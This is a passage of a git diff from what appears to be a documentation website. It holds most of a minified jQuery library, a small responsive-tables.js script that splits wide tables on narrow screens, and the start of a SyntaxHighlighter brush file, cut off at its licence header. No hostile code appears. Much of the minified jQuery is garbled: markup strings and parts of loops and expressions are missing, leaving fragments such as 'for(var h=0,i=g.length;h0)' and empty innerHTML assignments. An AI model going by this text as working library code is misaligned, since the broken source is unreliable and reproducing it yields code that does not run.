c=b.getElementsByTagName(a[1]);if(a[1]==="*"){var d=[];for(var e=0;c[e];e++)c[e].nodeType===1&&d.push(c[e]);c=d}return c}),a.innerHTML="",a.firstChild&&typeof a.firstChild.getAttribute!="undefined"&&a.firstChild.getAttribute("href")!=="#"&&(o.attrHandle.href=function(a){return a.getAttribute("href",2)}),a=null}(),c.querySelectorAll&&function(){var a=m,b=c.createElement("div"),d="__sizzle__";b.innerHTML="

";if(!b.querySelectorAll||b.querySelectorAll(".TEST").length!==0){m=function(b,e,f,g){e=e||c;if(!g&&!m.isXML(e)){var h=/^(\w+$)|^\.([\w\-]+$)|^#([\w\-]+$)/.exec(b);if(h&&(e.nodeType===1||e.nodeType===9)){if(h[1])return s(e.getElementsByTagName(b),f);if(h[2]&&o.find.CLASS&&e.getElementsByClassName)return s(e.getElementsByClassName(h[2]),f)}if(e.nodeType===9){if(b==="body"&&e.body)return s([e.body],f);if(h&&h[3]){var i=e.getElementById(h[3]);if(!i||!i.parentNode)return s([],f);if(i.id===h[3])return s([i],f)}try{return s(e.querySelectorAll(b),f)}catch(j){}}else if(e.nodeType===1&&e.nodeName.toLowerCase()!=="object"){var k=e,l=e.getAttribute("id"),n=l||d,p=e.parentNode,q=/^\s*[+~]/.test(b);l?n=n.replace(/'/g,"\\$&"):e.setAttribute("id",n),q&&p&&(e=e.parentNode);try{if(!q||p)return s(e.querySelectorAll("[id='"+n+"'] "+b),f)}catch(r){}finally{l||k.removeAttribute("id")}}}return a(b,e,f,g)};for(var e in a)m[e]=a[e];b=null}}(),function(){var a=c.documentElement,b=a.matchesSelector||a.mozMatchesSelector||a.webkitMatchesSelector||a.msMatchesSelector;if(b){var d=!b.call(c.createElement("div"),"div"),e=!1;try{b.call(c.documentElement,"[test!='']:sizzle")}catch(f){e=!0}m.matchesSelector=function(a,c){c=c.replace(/\=\s*([^'"\]]*)\s*\]/g,"='$1']");if(!m.isXML(a))try{if(e||!o.match.PSEUDO.test(c)&&!/!=/.test(c)){var f=b.call(a,c);if(f||!d||a.document&&a.document.nodeType!==11)return f}}catch(g){}return m(c,null,null,[a]).length>0}}}(),function(){var a=c.createElement("div");a.innerHTML="
";if(!!a.getElementsByClassName&&a.getElementsByClassName("e").length!==0){a.lastChild.className="e";if(a.getElementsByClassName("e").length===1)return;o.order.splice(1,0,"CLASS"),o.find.CLASS=function(a,b,c){if(typeof b.getElementsByClassName!="undefined"&&!c)return b.getElementsByClassName(a[1])},a=null}}(),c.documentElement.contains?m.contains=function(a,b){return a!==b&&(a.contains?a.contains(b):!0)}:c.documentElement.compareDocumentPosition?m.contains=function(a,b){return!!(a.compareDocumentPosition(b)&16)}:m.contains=function(){return!1},m.isXML=function(a){var b=(a?a.ownerDocument||a:0).documentElement;return b?b.nodeName!=="HTML":!1};var y=function(a,b,c){var d,e=[],f="",g=b.nodeType?[b]:b;while(d=o.match.PSEUDO.exec(a))f+=d[0],a=a.replace(o.match.PSEUDO,"");a=o.relative[a]?a+"*":a;for(var h=0,i=g.length;h0)for(h=g;h=0:f.filter(a,this).length>0:this.filter(a).length>0)},closest:function(a,b){var c=[],d,e,g=this[0];if(f.isArray(a)){var h=1;while(g&&g.ownerDocument&&g!==b){for(d=0;d-1:f.find.matchesSelector(g,a)){c.push(g);break}g=g.parentNode;if(!g||!g.ownerDocument||g===b||g.nodeType===11)break}}c=c.length>1?f.unique(c):c;return this.pushStack(c,"closest",a)},index:function(a){if(!a)return this[0]&&this[0].parentNode?this.prevAll().length:-1;if(typeof a=="string")return f.inArray(this[0],f(a));return f.inArray(a.jquery?a[0]:a,this)},add:function(a,b){var c=typeof a=="string"?f(a,b):f.makeArray(a&&a.nodeType?[a]:a),d=f.merge(this.get(),c);return this.pushStack(S(c[0])||S(d[0])?d:f.unique(d))},andSelf:function(){return this.add(this.prevObject)}}),f.each({parent:function(a){var b=a.parentNode;return b&&b.nodeType!==11?b:null},parents:function(a){return f.dir(a,"parentNode")},parentsUntil:function(a,b,c){return f.dir(a,"parentNode",c)},next:function(a){return f.nth(a,2,"nextSibling")},prev:function(a){return f.nth(a,2,"previousSibling")},nextAll:function(a){return f.dir(a,"nextSibling")},prevAll:function(a){return f.dir(a,"previousSibling")},nextUntil:function(a,b,c){return f.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return f.dir(a,"previousSibling",c)},siblings:function(a){return f.sibling((a.parentNode||{}).firstChild,a)},children:function(a){return f.sibling(a.firstChild)},contents:function(a){return f.nodeName(a,"iframe")?a.contentDocument||a.contentWindow.document:f.makeArray(a.childNodes)}},function(a,b){f.fn[a]=function(c,d){var e=f.map(this,b,c);L.test(a)||(d=c),d&&typeof d=="string"&&(e=f.filter(d,e)),e=this.length>1&&!R[a]?f.unique(e):e,(this.length>1||N.test(d))&&M.test(a)&&(e=e.reverse());return this.pushStack(e,a,P.call(arguments).join(","))}}),f.extend({filter:function(a,b,c){c&&(a=":not("+a+")");return b.length===1?f.find.matchesSelector(b[0],a)?[b[0]]:[]:f.find.matches(a,b)},dir:function(a,c,d){var e=[],g=a[c];while(g&&g.nodeType!==9&&(d===b||g.nodeType!==1||!f(g).is(d)))g.nodeType===1&&e.push(g),g=g[c];return e},nth:function(a,b,c,d){b=b||1;var e=0;for(;a;a=a[c])if(a.nodeType===1&&++e===b)break;return a},sibling:function(a,b){var c=[];for(;a;a=a.nextSibling)a.nodeType===1&&a!==b&&c.push(a);return c}});var V="abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",W=/ jQuery\d+="(?:\d+|null)"/g,X=/^\s+/,Y=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/ig,Z=/<([\w:]+)/,$=/]","i"),bd=/checked\s*(?:[^=]|=\s*.checked.)/i,be=/\/(java|ecma)script/i,bf=/^\s*",""],legend:[1,"
","
"],thead:[1,"","
"],tr:[2,"","
"],td:[3,"","
"],col:[2,"","
"],area:[1,"",""],_default:[0,"",""]},bh=U(c);bg.optgroup=bg.option,bg.tbody=bg.tfoot=bg.colgroup=bg.caption=bg.thead,bg.th=bg.td,f.support.htmlSerialize||(bg._default=[1,"div
","
"]),f.fn.extend({text:function(a){return f.access(this,function(a){return a===b?f.text(this):this.empty().append((this[0]&&this[0].ownerDocument||c).createTextNode(a))},null,a,arguments.length)},wrapAll:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapAll(a.call(this,b))});if(this[0]){var b=f(a,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstChild&&a.firstChild.nodeType===1)a=a.firstChild;return a}).append(this)}return this},wrapInner:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapInner(a.call(this,b))});return this.each(function(){var b=f(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=f.isFunction(a);return this.each(function(c){f(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(){return this.parent().each(function(){f.nodeName(this,"body")||f(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1&&this.appendChild(a)})},prepend:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1&&this.insertBefore(a,this.firstChild)})},before:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this)});if(arguments.length){var a=f +.clean(arguments);a.push.apply(a,this.toArray());return this.pushStack(a,"before",arguments)}},after:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this.nextSibling)});if(arguments.length){var a=this.pushStack(this,"after",arguments);a.push.apply(a,f.clean(arguments));return a}},remove:function(a,b){for(var c=0,d;(d=this[c])!=null;c++)if(!a||f.filter(a,[d]).length)!b&&d.nodeType===1&&(f.cleanData(d.getElementsByTagName("*")),f.cleanData([d])),d.parentNode&&d.parentNode.removeChild(d);return this},empty:function(){for(var a=0,b;(b=this[a])!=null;a++){b.nodeType===1&&f.cleanData(b.getElementsByTagName("*"));while(b.firstChild)b.removeChild(b.firstChild)}return this},clone:function(a,b){a=a==null?!1:a,b=b==null?a:b;return this.map(function(){return f.clone(this,a,b)})},html:function(a){return f.access(this,function(a){var c=this[0]||{},d=0,e=this.length;if(a===b)return c.nodeType===1?c.innerHTML.replace(W,""):null;if(typeof a=="string"&&!ba.test(a)&&(f.support.leadingWhitespace||!X.test(a))&&!bg[(Z.exec(a)||["",""])[1].toLowerCase()]){a=a.replace(Y,"<$1>");try{for(;d1&&l0?this.clone(!0):this).get();f(e[h])[b](j),d=d.concat(j)}return this.pushStack(d,a,e.selector)}}),f.extend({clone:function(a,b,c){var d,e,g,h=f.support.html5Clone||f.isXMLDoc(a)||!bc.test("<"+a.nodeName+">")?a.cloneNode(!0):bo(a);if((!f.support.noCloneEvent||!f.support.noCloneChecked)&&(a.nodeType===1||a.nodeType===11)&&!f.isXMLDoc(a)){bk(a,h),d=bl(a),e=bl(h);for(g=0;d[g];++g)e[g]&&bk(d[g],e[g])}if(b){bj(a,h);if(c){d=bl(a),e=bl(h);for(g=0;d[g];++g)bj(d[g],e[g])}}d=e=null;return h},clean:function(a,b,d,e){var g,h,i,j=[];b=b||c,typeof b.createElement=="undefined"&&(b=b.ownerDocument||b[0]&&b[0].ownerDocument||c);for(var k=0,l;(l=a[k])!=null;k++){typeof l=="number"&&(l+="");if(!l)continue;if(typeof l=="string")if(!_.test(l))l=b.createTextNode(l);else{l=l.replace(Y,"<$1>");var m=(Z.exec(l)||["",""])[1].toLowerCase(),n=bg[m]||bg._default,o=n[0],p=b.createElement("div"),q=bh.childNodes,r;b===c?bh.appendChild(p):U(b).appendChild(p),p.innerHTML=n[1]+l+n[2];while(o--)p=p.lastChild;if(!f.support.tbody){var s=$.test(l),t=m==="table"&&!s?p.firstChild&&p.firstChild.childNodes:n[1]===""&&!s?p.childNodes:[];for(i=t.length-1;i>=0;--i)f.nodeName(t[i],"tbody")&&!t[i].childNodes.length&&t[i].parentNode.removeChild(t[i])}!f.support.leadingWhitespace&&X.test(l)&&p.insertBefore(b.createTextNode(X.exec(l)[0]),p.firstChild),l=p.childNodes,p&&(p.parentNode.removeChild(p),q.length>0&&(r=q[q.length-1],r&&r.parentNode&&r.parentNode.removeChild(r)))}var u;if(!f.support.appendChecked)if(l[0]&&typeof (u=l.length)=="number")for(i=0;i1)},f.extend({cssHooks:{opacity:{get:function(a,b){if(b){var c=by(a,"opacity");return c===""?"1":c}return a.style.opacity}}},cssNumber:{fillOpacity:!0,fontWeight:!0,lineHeight:!0,opacity:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":f.support.cssFloat?"cssFloat":"styleFloat"},style:function(a,c,d,e){if(!!a&&a.nodeType!==3&&a.nodeType!==8&&!!a.style){var g,h,i=f.camelCase(c),j=a.style,k=f.cssHooks[i];c=f.cssProps[i]||i;if(d===b){if(k&&"get"in k&&(g=k.get(a,!1,e))!==b)return g;return j[c]}h=typeof d,h==="string"&&(g=bu.exec(d))&&(d=+(g[1]+1)*+g[2]+parseFloat(f.css(a,c)),h="number");if(d==null||h==="number"&&isNaN(d))return;h==="number"&&!f.cssNumber[i]&&(d+="px");if(!k||!("set"in k)||(d=k.set(a,d))!==b)try{j[c]=d}catch(l){}}},css:function(a,c,d){var e,g;c=f.camelCase(c),g=f.cssHooks[c],c=f.cssProps[c]||c,c==="cssFloat"&&(c="float");if(g&&"get"in g&&(e=g.get(a,!0,d))!==b)return e;if(by)return by(a,c)},swap:function(a,b,c){var d={},e,f;for(f in b)d[f]=a.style[f],a.style[f]=b[f];e=c.call(a);for(f in b)a.style[f]=d[f];return e}}),f.curCSS=f.css,c.defaultView&&c.defaultView.getComputedStyle&&(bz=function(a,b){var c,d,e,g,h=a.style;b=b.replace(br,"-$1").toLowerCase(),(d=a.ownerDocument.defaultView)&&(e=d.getComputedStyle(a,null))&&(c=e.getPropertyValue(b),c===""&&!f.contains(a.ownerDocument.documentElement,a)&&(c=f.style(a,b))),!f.support.pixelMargin&&e&&bv.test(b)&&bt.test(c)&&(g=h.width,h.width=c,c=e.width,h.width=g);return c}),c.documentElement.currentStyle&&(bA=function(a,b){var c,d,e,f=a.currentStyle&&a.currentStyle[b],g=a.style;f==null&&g&&(e=g[b])&&(f=e),bt.test(f)&&(c=g.left,d=a.runtimeStyle&&a.runtimeStyle.left,d&&(a.runtimeStyle.left=a.currentStyle.left),g.left=b==="fontSize"?"1em":f,f=g.pixelLeft+"px",g.left=c,d&&(a.runtimeStyle.left=d));return f===""?"auto":f}),by=bz||bA,f.each(["height","width"],function(a,b){f.cssHooks[b]={get:function(a,c,d){if(c)return a.offsetWidth!==0?bB(a,b,d):f.swap(a,bw,function(){return bB(a,b,d)})},set:function(a,b){return bs.test(b)?b+"px":b}}}),f.support.opacity||(f.cssHooks.opacity={get:function(a,b){return bq.test((b&&a.currentStyle?a.currentStyle.filter:a.style.filter)||"")?parseFloat(RegExp.$1)/100+"":b?"1":""},set:function(a,b){var c=a.style,d=a.currentStyle,e=f.isNumeric(b)?"alpha(opacity="+b*100+")":"",g=d&&d.filter||c.filter||"";c.zoom=1;if(b>=1&&f.trim(g.replace(bp,""))===""){c.removeAttribute("filter");if(d&&!d.filter)return}c.filter=bp.test(g)?g.replace(bp,e):g+" "+e}}),f(function(){f.support.reliableMarginRight||(f.cssHooks.marginRight={get:function(a,b){return f.swap(a,{display:"inline-block"},function(){return b?by(a,"margin-right"):a.style.marginRight})}})}),f.expr&&f.expr.filters&&(f.expr.filters.hidden=function(a){var b=a.offsetWidth,c=a.offsetHeight;return b===0&&c===0||!f.support.reliableHiddenOffsets&&(a.style&&a.style.display||f.css(a,"display"))==="none"},f.expr.filters.visible=function(a){return!f.expr.filters.hidden(a)}),f.each({margin:"",padding:"",border:"Width"},function(a,b){f.cssHooks[a+b]={expand:function(c){var d,e=typeof c=="string"?c.split(" "):[c],f={};for(d=0;d<4;d++)f[a+bx[d]+b]=e[d]||e[d-2]||e[0];return f}}});var bC=/%20/g,bD=/\[\]$/,bE=/\r?\n/g,bF=/#.*$/,bG=/^(.*?):[ \t]*([^\r\n]*)\r?$/mg,bH=/^(?:color|date|datetime|datetime-local|email|hidden|month|number|password|range|search|tel|text|time|url|week)$/i,bI=/^(?:about|app|app\-storage|.+\-extension|file|res|widget):$/,bJ=/^(?:GET|HEAD)$/,bK=/^\/\//,bL=/\?/,bM=/)<[^<]*)*<\/script>/gi,bN=/^(?:select|textarea)/i,bO=/\s+/,bP=/([?&])_=[^&]*/,bQ=/^([\w\+\.\-]+:)(?:\/\/([^\/?#:]*)(?::(\d+))?)?/,bR=f.fn.load,bS={},bT={},bU,bV,bW=["*/"]+["*"];try{bU=e.href}catch(bX){bU=c.createElement("a"),bU.href="",bU=bU.href}bV=bQ.exec(bU.toLowerCase())||[],f.fn.extend({load:function(a,c,d){if(typeof a!="string"&&bR)return bR.apply(this,arguments);if(!this.length)return this;var e=a.indexOf(" ");if(e>=0){var g=a.slice(e,a.length);a=a.slice(0,e)}var h="GET";c&&(f.isFunction(c)?(d=c,c=b):typeof c=="object"&&(c=f.param(c,f.ajaxSettings.traditional),h="POST"));var i=this;f.ajax({url:a,type:h,dataType:"html",data:c,complete:function(a,b,c){c=a.responseText,a.isResolved()&&(a.done(function(a){c=a}),i.html(g?f("
").append(c.replace(bM,"")).find(g):c)),d&&i.each(d,[c,b,a])}});return this},serialize:function(){return f.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?f.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&(this.checked||bN.test(this.nodeName)||bH.test(this.type))}).map(function(a,b){var c=f(this).val();return c==null?null:f.isArray(c)?f.map(c,function(a,c){return{name:b.name,value:a.replace(bE,"\r\n")}}):{name:b.name,value:c.replace(bE,"\r\n")}}).get()}}),f.each("ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split(" "),function(a,b){f.fn[b]=function(a){return this.on(b,a)}}),f.each(["get","post"],function(a,c){f[c]=function(a,d,e,g){f.isFunction(d)&&(g=g||e,e=d,d=b);return f.ajax({type:c,url:a,data:d,success:e,dataType:g})}}),f.extend({getScript:function(a,c){return f.get(a,b,c,"script")},getJSON:function(a,b,c){return f.get(a,b,c,"json")},ajaxSetup:function(a,b){b?b$(a,f.ajaxSettings):(b=a,a=f.ajaxSettings),b$(a,b);return a},ajaxSettings:{url:bU,isLocal:bI.test(bV[1]),global:!0,type:"GET",contentType:"application/x-www-form-urlencoded; charset=UTF-8",processData:!0,async:!0,accepts:{xml:"application/xml, text/xml",html:"text/html",text:"text/plain",json:"application/json, text/javascript","*":bW},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:"responseXML",text:"responseText"},converters:{"* text":a.String,"text html":!0,"text json":f.parseJSON,"text xml":f.parseXML},flatOptions:{context:!0,url:!0}},ajaxPrefilter:bY(bS),ajaxTransport:bY(bT),ajax:function(a,c){function w(a,c,l,m){if(s!==2){s=2,q&&clearTimeout(q),p=b,n=m||"",v.readyState=a>0?4:0;var o,r,u,w=c,x=l?ca(d,v,l):b,y,z;if(a>=200&&a<300||a===304){if(d.ifModified){if(y=v.getResponseHeader("Last-Modified"))f.lastModified[k]=y;if(z=v.getResponseHeader("Etag"))f.etag[k]=z}if(a===304)w="notmodified",o=!0;else try{r=cb(d,x),w="success",o=!0}catch(A){w="parsererror",u=A}}else{u=w;if(!w||a)w="error",a<0&&(a=0)}v.status=a,v.statusText=""+(c||w),o?h.resolveWith(e,[r,w,v]):h.rejectWith(e,[v,w,u]),v.statusCode(j),j=b,t&&g.trigger("ajax"+(o?"Success":"Error"),[v,d,o?r:u]),i.fireWith(e,[v,w]),t&&(g.trigger("ajaxComplete",[v,d]),--f.active||f.event.trigger("ajaxStop"))}}typeof a=="object"&&(c=a,a=b),c=c||{};var d=f.ajaxSetup({},c),e=d.context||d,g=e!==d&&(e.nodeType||e instanceof f)?f(e):f.event,h=f.Deferred(),i=f.Callbacks("once memory"),j=d.statusCode||{},k,l={},m={},n,o,p,q,r,s=0,t,u,v={readyState:0,setRequestHeader:function(a,b){if(!s){var c=a.toLowerCase();a=m[c]=m[c]||a,l[a]=b}return this},getAllResponseHeaders:function(){return s===2?n:null},getResponseHeader:function(a){var c;if(s===2){if(!o){o={};while(c=bG.exec(n))o[c[1].toLowerCase()]=c[2]}c=o[a.toLowerCase()]}return c===b?null:c},overrideMimeType:function(a){s||(d.mimeType=a);return this},abort:function(a){a=a||"abort",p&&p.abort(a),w(0,a);return this}};h.promise(v),v.success=v.done,v.error=v.fail,v.complete=i.add,v.statusCode=function(a){if(a){var b;if(s<2)for(b in a)j[b]=[j[b],a[b]];else b=a[v.status],v.then(b,b)}return this},d.url=((a||d.url)+"").replace(bF,"").replace(bK,bV[1]+"//"),d.dataTypes=f.trim(d.dataType||"*").toLowerCase().split(bO),d.crossDomain==null&&(r=bQ.exec(d.url.toLowerCase()),d.crossDomain=!(!r||r[1]==bV[1]&&r[2]==bV[2]&&(r[3]||(r[1]==="http:"?80:443))==(bV[3]||(bV[1]==="http:"?80:443)))),d.data&&d.processData&&typeof d.data!="string"&&(d.data=f.param(d.data,d.traditional)),bZ(bS,d,c,v);if(s===2)return!1;t=d.global,d.type=d.type.toUpperCase(),d.hasContent=!bJ.test(d.type),t&&f.active++===0&&f.event.trigger("ajaxStart");if(!d.hasContent){d.data&&(d.url+=(bL.test(d.url)?"&":"?")+d.data,delete d.data),k=d.url;if(d.cache===!1){var x=f.now(),y=d.url.replace(bP,"$1_="+x);d.url=y+(y===d.url?(bL.test(d.url)?"&":"?")+"_="+x:"")}}(d.data&&d.hasContent&&d.contentType!==!1||c.contentType)&&v.setRequestHeader("Content-Type",d.contentType),d.ifModified&&(k=k||d.url,f.lastModified[k]&&v.setRequestHeader("If-Modified-Since",f.lastModified[k]),f.etag[k]&&v.setRequestHeader("If-None-Match",f.etag[k])),v.setRequestHeader("Accept",d.dataTypes[0]&&d.accepts[d.dataTypes[0]]?d.accepts[d.dataTypes[0]]+(d.dataTypes[0]!=="*"?", "+bW+"; q=0.01":""):d.accepts["*"]);for(u in d.headers)v.setRequestHeader(u,d.headers[u]);if(d.beforeSend&&(d.beforeSend.call(e,v,d)===!1||s===2)){v.abort();return!1}for(u in{success:1,error:1,complete:1})v[u](d[u]);p=bZ(bT,d,c,v);if(!p)w(-1,"No Transport");else{v.readyState=1,t&&g.trigger("ajaxSend",[v,d]),d.async&&d.timeout>0&&(q=setTimeout(function(){v.abort("timeout")},d.timeout));try{s=1,p.send(l,w)}catch(z){if(s<2)w(-1,z);else throw z}}return v},param:function(a,c){var d=[],e=function(a,b){b=f.isFunction(b)?b():b,d[d.length]=encodeURIComponent(a)+"="+encodeURIComponent(b)};c===b&&(c=f.ajaxSettings.traditional);if(f.isArray(a)||a.jquery&&!f.isPlainObject(a))f.each(a,function(){e(this.name,this.value)});else for(var g in a)b_(g,a[g],c,e);return d.join("&").replace(bC,"+")}}),f.extend({active:0,lastModified:{},etag:{}});var cc=f.now(),cd=/(\=)\?(&|$)|\?\?/i;f.ajaxSetup({jsonp:"callback",jsonpCallback:function(){return f.expando+"_"+cc++}}),f.ajaxPrefilter("json jsonp",function(b,c,d){var e=typeof b.data=="string"&&/^application\/x\-www\-form\-urlencoded/.test(b.contentType);if(b.dataTypes[0]==="jsonp"||b.jsonp!==!1&&(cd.test(b.url)||e&&cd.test(b.data))){var g,h=b.jsonpCallback=f.isFunction(b.jsonpCallback)?b.jsonpCallback():b.jsonpCallback,i=a[h],j=b.url,k=b.data,l="$1"+h+"$2";b.jsonp!==!1&&(j=j.replace(cd,l),b.url===j&&(e&&(k=k.replace(cd,l)),b.data===k&&(j+=(/\?/.test(j)?"&":"?")+b.jsonp+"="+h))),b.url=j,b.data=k,a[h]=function(a){g=[a]},d.always(function(){a[h]=i,g&&f.isFunction(i)&&a[h](g[0])}),b.converters["script json"]=function(){g||f.error(h+" was not called");return g[0]},b.dataTypes[0]="json";return"script"}}),f.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/javascript|ecmascript/},converters:{"text script":function(a){f.globalEval(a);return a}}}),f.ajaxPrefilter("script",function(a){a.cache===b&&(a.cache=!1),a.crossDomain&&(a.type="GET",a.global=!1)}),f.ajaxTransport("script",function(a){if(a.crossDomain){var d,e=c.head||c.getElementsByTagName("head")[0]||c.documentElement;return{send:function(f,g){d=c.createElement("script"),d.async="async",a.scriptCharset&&(d.charset=a.scriptCharset),d.src=a.url,d.onload=d.onreadystatechange=function(a,c){if(c||!d.readyState||/loaded|complete/.test(d.readyState))d.onload=d.onreadystatechange=null,e&&d.parentNode&&e.removeChild(d),d=b,c||g(200,"success")},e.insertBefore(d,e.firstChild)},abort:function(){d&&d.onload(0,1)}}}});var ce=a.ActiveXObject?function(){for(var a in cg)cg[a](0,1)}:!1,cf=0,cg;f.ajaxSettings.xhr=a.ActiveXObject?function(){return!this.isLocal&&ch()||ci()}:ch,function(a){f.extend(f.support,{ajax:!!a,cors:!!a&&"withCredentials"in a})}(f.ajaxSettings.xhr()),f.support.ajax&&f.ajaxTransport(function(c){if(!c.crossDomain||f.support.cors){var d;return{send:function(e,g){var h=c.xhr(),i,j;c.username?h.open(c.type,c.url,c.async,c.username,c.password):h.open(c.type,c.url,c.async);if(c.xhrFields)for(j in c.xhrFields)h[j]=c.xhrFields[j];c.mimeType&&h.overrideMimeType&&h.overrideMimeType(c.mimeType),!c.crossDomain&&!e["X-Requested-With"]&&(e["X-Requested-With"]="XMLHttpRequest");try{for(j in e)h.setRequestHeader(j,e[j])}catch(k){}h.send(c.hasContent&&c.data||null),d=function(a,e){var j,k,l,m,n;try{if(d&&(e||h.readyState===4)){d=b,i&&(h.onreadystatechange=f.noop,ce&&delete cg[i]);if(e)h.readyState!==4&&h.abort();else{j=h.status,l=h.getAllResponseHeaders(),m={},n=h.responseXML,n&&n.documentElement&&(m.xml=n);try{m.text=h.responseText}catch(a){}try{k=h.statusText}catch(o){k=""}!j&&c.isLocal&&!c.crossDomain?j=m.text?200:404:j===1223&&(j=204)}}}catch(p){e||g(-1,p)}m&&g(j,k,m,l)},!c.async||h.readyState===4?d():(i=++cf,ce&&(cg||(cg={},f(a).unload(ce)),cg[i]=d),h.onreadystatechange=d)},abort:function(){d&&d(0,1)}}}});var cj={},ck,cl,cm=/^(?:toggle|show|hide)$/,cn=/^([+\-]=)?([\d+.\-]+)([a-z%]*)$/i,co,cp=[["height","marginTop","marginBottom","paddingTop","paddingBottom"],["width","marginLeft","marginRight","paddingLeft","paddingRight"],["opacity"]],cq;f.fn.extend({show:function(a,b,c){var d,e;if(a||a===0)return this.animate(ct("show",3),a,b,c);for(var g=0,h=this.length;g=i.duration+this.startTime){this.now=this.end,this.pos=this.state=1,this.update(),i.animatedProperties[this.prop]=!0;for(b in i.animatedProperties)i.animatedProperties[b]!==!0&&(g=!1);if(g){i.overflow!=null&&!f.support.shrinkWrapBlocks&&f.each(["","X","Y"],function(a,b){h.style["overflow"+b]=i.overflow[a]}),i.hide&&f(h).hide();if(i.hide||i.show)for(b in i.animatedProperties)f.style(h,b,i.orig[b]),f.removeData(h,"fxshow"+b,!0),f.removeData(h,"toggle"+b,!0);d=i.complete,d&&(i.complete=!1,d.call(h))}return!1}i.duration==Infinity?this.now=e:(c=e-this.startTime,this.state=c/i.duration,this.pos=f.easing[i.animatedProperties[this.prop]](this.state,c,0,1,i.duration),this.now=this.start+(this.end-this.start)*this.pos),this.update();return!0}},f.extend(f.fx,{tick:function(){var a,b=f.timers,c=0;for(;c-1,k={},l={},m,n;j?(l=e.position(),m=l.top,n=l.left):(m=parseFloat(h)||0,n=parseFloat(i)||0),f.isFunction(b)&&(b=b.call(a,c,g)),b.top!=null&&(k.top=b.top-g.top+m),b.left!=null&&(k.left=b.left-g.left+n),"using"in b?b.using.call(a,k):e.css(k)}},f.fn.extend({position:function(){if(!this[0])return null;var a=this[0],b=this.offsetParent(),c=this.offset(),d=cx.test(b[0].nodeName)?{top:0,left:0}:b.offset();c.top-=parseFloat(f.css(a,"marginTop"))||0,c.left-=parseFloat(f.css(a,"marginLeft"))||0,d.top+=parseFloat(f.css(b[0],"borderTopWidth"))||0,d.left+=parseFloat(f.css(b[0],"borderLeftWidth"))||0;return{top:c.top-d.top,left:c.left-d.left}},offsetParent:function(){return this.map(function(){var a=this.offsetParent||c.body;while(a&&!cx.test(a.nodeName)&&f.css(a,"position")==="static")a=a.offsetParent;return a})}}),f.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(a,c){var d=/Y/.test(c);f.fn[a]=function(e){return f.access(this,function(a,e,g){var h=cy(a);if(g===b)return h?c in h?h[c]:f.support.boxModel&&h.document.documentElement[e]||h.document.body[e]:a[e];h?h.scrollTo(d?f(h).scrollLeft():g,d?g:f(h).scrollTop()):a[e]=g},a,e,arguments.length,null)}}),f.each({Height:"height",Width:"width"},function(a,c){var d="client"+a,e="scroll"+a,g="offset"+a;f.fn["inner"+a]=function(){var a=this[0];return a?a.style?parseFloat(f.css(a,c,"padding")):this[c]():null},f.fn["outer"+a]=function(a){var b=this[0];return b?b.style?parseFloat(f.css(b,c,a?"margin":"border")):this[c]():null},f.fn[c]=function(a){return f.access(this,function(a,c,h){var i,j,k,l;if(f.isWindow(a)){i=a.document,j=i.documentElement[d];return f.support.boxModel&&j||i.body&&i.body[d]||j}if(a.nodeType===9){i=a.documentElement;if(i[d]>=i[e])return i[d];return Math.max(a.body[e],i[e],a.body[g],i[g])}if(h===b){k=f.css(a,c),l=parseFloat(k);return f.isNumeric(l)?l:k}f(a).css(c,h)},c,a,arguments.length,null)}}),a.jQuery=a.$=f,typeof define=="function"&&define.amd&&define.amd.jQuery&&define("jquery",[],function(){return f})})(window); \ No newline at end of file diff --git a/v4.1/javascripts/responsive-tables.js b/v4.1/javascripts/responsive-tables.js new file mode 100755 index 0000000..8554a13 --- /dev/null +++ b/v4.1/javascripts/responsive-tables.js @@ -0,0 +1,43 @@ +$(document).ready(function() { + var switched = false; + $("table").not(".syntaxhighlighter").addClass("responsive"); + var updateTables = function() { + if (($(window).width() < 767) && !switched ){ + switched = true; + $("table.responsive").each(function(i, element) { + splitTable($(element)); + }); + return true; + } + else if (switched && ($(window).width() > 767)) { + switched = false; + $("table.responsive").each(function(i, element) { + unsplitTable($(element)); + }); + } + }; + + $(window).load(updateTables); + $(window).bind("resize", updateTables); + + + function splitTable(original) + { + original.wrap("
"); + + var copy = original.clone(); + copy.find("td:not(:first-child), th:not(:first-child)").css("display", "none"); + copy.removeClass("responsive"); + + original.closest(".table-wrapper").append(copy); + copy.wrap("
"); + original.wrap("
"); + } + + function unsplitTable(original) { + original.closest(".table-wrapper").find(".pinned").remove(); + original.unwrap(); + original.unwrap(); + } + +}); diff --git a/v4.1/javascripts/syntaxhighlighter/shBrushAS3.js b/v4.1/javascripts/syntaxhighlighter/shBrushAS3.js new file mode 100644 index 0000000..8aa3ed2 --- /dev/null +++ b/v4.1/javascripts/syntaxhighlighter/shBrushAS3.js @@ -0,0 +1,59 @@ +/** + * SyntaxHighlighter + * http://alexgorbatchev.com/SyntaxHighlighter + * + * SyntaxHighlighter is donationware. If you are using it, please donate. + * http://alexgorbatchev.com/SyntaxHighlighter/donate.html + * + * @version + * 3.0.83 (July 02 2010) + * + * @copyright + * Copyright (C) 2004-2010 Alex Gorbatchev. + * + * @license + * Dual licensed under the MIT and GPL licenses. + */ +;(function() +{ + // CommonJS + typeof(require) != 'undefined' ? SyntaxHighlighter = 